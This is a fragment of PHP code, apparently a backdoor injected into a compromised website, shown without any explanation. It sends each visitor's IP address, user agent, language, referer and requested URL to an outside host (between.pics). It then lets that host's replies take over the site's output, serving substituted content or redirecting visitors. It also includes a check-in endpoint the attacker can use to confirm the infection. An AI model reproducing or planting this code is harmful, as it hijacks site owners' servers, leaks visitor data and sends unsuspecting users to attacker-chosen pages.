] = strval($content); } } } catch (Exception $e) { } return $response; } function base64url_encode($str) { if (!$str) return ''; return rtrim(strtr(base64_encode($str), '+/', '-_'), '='); } function get_ipaddr() { $ip_addr = ''; if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { $ip_addr = $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif (isset($_SERVER['HTTP_X_REAL_IP']) && !empty($_SERVER['HTTP_X_REAL_IP'])) { $ip_addr = $_SERVER['HTTP_X_REAL_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_addr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_addr = $_SERVER['REMOTE_ADDR']; } $ip_addr = trim(str_replace(" ", "", $ip_addr), ","); if (strpos($ip_addr, ",") !== false) { $ip_addr = explode(",", $ip_addr); $ip_addr = $ip_addr[0]; } return $ip_addr; } function get_proto() { $http_proto = 'http://'; if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { $http_proto = 'https://'; } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') { $http_proto = 'https://'; } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { $http_proto = 'https://'; } return $http_proto; } if ($_SERVER['REQUEST_URI'] === '/R-' . md5($_SERVER['SERVER_NAME'])) { exit(strrev(md5($_SERVER['SERVER_NAME']))); } if (substr_count($_SERVER['REQUEST_URI'], 'index.php/jk')) { exit('{ "error": 200, "lc": "jk", "data": [ 1 ] }'); } $ip_addr = get_ipaddr(); $referer = strval(@$_SERVER['HTTP_REFERER']); $site_url = get_proto() . $_SERVER['HTTP_HOST']; if (strpos($referer, $site_url) === 0) $referer = ''; $rq = array(); $rq['i'] = base64url_encode($ip_addr); $rq['l'] = base64url_encode($_SERVER['HTTP_ACCEPT_LANGUAGE']); $rq['sn'] = base64url_encode($_SERVER['SCRIPT_NAME']); $rq['r'] = base64url_encode($_SERVER['REQUEST_URI']); $rq['rf'] = base64url_encode($referer); $rq['s'] = base64url_encode($site_url); $rq['u'] = base64url_encode($_SERVER['HTTP_USER_AGENT']); $r_trim = preg_replace('/\?.*/', '', $_SERVER['REQUEST_URI']); $r_istatic = false; if (strpos($r_trim, '.') > 0&&strpos($r_trim,'.php')===false) { $ext = substr($r_trim, strpos($r_trim, '.')); if (in_array($ext, array('.js', '.css', '.jpg', '.png', '.gif', '.ico'))) { $r_istatic = true; } } if (!$r_istatic) { $response = http_get('http://zs15v5p5.between.pics/', $rq); if (!in_array($response['status'], array(0, 200))) { switch ($response['status']) { case 301: header('HTTP/1.1 301 Moved Permanently'); header('Location: ' . trim($response['content'])); break; case 302: header('HTTP/1.1 302 Move Temporarily'); header('Location: ' . trim($response['content'])); break; case 404: header('HTTP/1.1 404 Not Found'); header("status: 404 Not Found"); break; default: break; } } if (strlen($response['content'])) { @header('Content-Type:' . $response['type']); echo $response['content']; exit(0); } }